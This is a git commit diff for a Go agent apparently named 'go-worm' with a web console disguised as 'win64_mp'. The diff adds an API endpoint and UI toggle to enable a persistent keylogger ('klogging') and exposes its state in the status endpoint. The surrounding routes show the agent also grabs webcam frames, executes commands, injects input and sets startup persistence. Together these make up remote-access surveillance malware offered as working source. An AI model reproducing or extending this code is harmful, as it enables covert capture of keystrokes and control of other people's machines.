feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build
This commit is contained in:
2026-09-01 23:36:39 +03:00
parent a3c78820ed
commit ac31e52a8c
13 changed files with 329 additions and 14 deletions
+1
View File
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/settings", a.handleSettings)
mux.HandleFunc("/api/v1/input/click", a.handleClick)
mux.HandleFunc("/api/v1/input/key", a.handleKey)
mux.HandleFunc("/api/v1/input/text", a.handleText)
+33
View File
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr,
"startup_enabled": startup.Enabled(),
"klogging": keylog.Running(),
})
}
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
}
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"klogging": config.KeylogEnabled(),
"klogging_running": keylog.Running(),
})
case http.MethodPut:
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var body struct {
Klogging *bool `json:"klogging"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
return
}
if err := keylog.SetEnabled(*body.Klogging); err != nil {
helpers.Log.Printf("klogging set: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{
"klogging": config.KeylogEnabled(),
"klogging_running": keylog.Running(),
})
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
+5
View File
@@ -1,9 +1,11 @@
package agent
import (
"bytes"
"embed"
"net/http"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
@@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
return
}
if name == "web/index.html" {
data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version))
}
w.Header().Set("Content-Type", contentType)
w.Header().Set("Cache-Control", "no-cache")
_, _ = w.Write(data)
+41
View File
@@ -15,6 +15,9 @@
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const keylogState = document.getElementById("keylog-state");
const keylogEnable = document.getElementById("keylog-enable");
const keylogDisable = document.getElementById("keylog-disable");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
@@ -118,6 +121,10 @@
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const verEl = document.getElementById("app-version");
if (verEl && data.agent_version) {
verEl.textContent = data.agent_version;
}
const fields = [
["Hostname", data.hostname],
["User", data.user],
@@ -128,10 +135,12 @@
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
["klogging", data.klogging ? "on" : "off"],
];
setStartup(Boolean(data.startup_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
loadSettings().catch((err) => showError(err.message));
statusFields.replaceChildren(
...fields.map(([label, value]) => {
const item = document.createElement("div");
@@ -303,6 +312,29 @@
startupRemove.disabled = !enabled;
}
function setKeylog(enabled) {
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
keylogEnable.disabled = enabled;
keylogDisable.disabled = !enabled;
}
async function loadSettings() {
const res = await api("/api/v1/settings");
const data = await res.json();
setKeylog(Boolean(data.klogging));
}
async function setKeylogEnabled(enabled) {
const res = await api("/api/v1/settings", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ klogging: enabled }),
});
const data = await res.json();
setKeylog(Boolean(data.klogging));
loadStatus().catch((err) => showError(err.message));
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
@@ -682,6 +714,9 @@
if (button.dataset.tab === "logs") {
listKeylogs().catch((err) => showError(err.message));
}
if (button.dataset.tab === "settings") {
loadSettings().catch((err) => showError(err.message));
}
});
});
@@ -694,6 +729,12 @@
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
keylogEnable.addEventListener("click", () => {
setKeylogEnabled(true).catch((err) => showError(err.message));
});
keylogDisable.addEventListener("click", () => {
setKeylogEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
+25 -1
View File
@@ -122,6 +122,14 @@
font-size: 1.05rem;
line-height: 1.2;
}
.brand-text .ver {
margin-left: 0.45rem;
font-size: 0.78rem;
font-weight: 500;
font-family: var(--mono);
color: var(--text-muted);
letter-spacing: 0;
}
.brand-text p {
margin-top: 0.1rem;
font-size: 0.78rem;
@@ -711,7 +719,7 @@
</svg>
</div>
<div class="brand-text">
<h1>win64_mp</h1>
<h1>win64_mp <span id="app-version" class="ver">{{VERSION}}</span></h1>
<p>Local agent console</p>
</div>
</div>
@@ -728,6 +736,7 @@
<button data-tab="webcam" type="button">Webcam</button>
<button data-tab="exec" type="button">Command</button>
<button data-tab="update" type="button">Update</button>
<button data-tab="settings" type="button">Settings</button>
<button data-tab="logs" type="button">Logs</button>
</nav>
@@ -909,6 +918,21 @@
<p id="update-result" class="meta"></p>
</section>
<section id="settings" class="panel">
<div class="panel-head">
<div>
<h2>Settings</h2>
<p class="lede">Toggle host-side hooks. Changes persist across restarts.</p>
</div>
</div>
<div class="startup-card">
<span id="keylog-state" class="meta">klogging: —</span>
<button id="keylog-enable" type="button">Enable</button>
<button id="keylog-disable" class="danger" type="button">Disable</button>
</div>
<p class="hint">klogging runs in-process. If the agent is crashing, leave this off.</p>
</section>
<section id="logs" class="panel">
<div class="panel-head">
<div>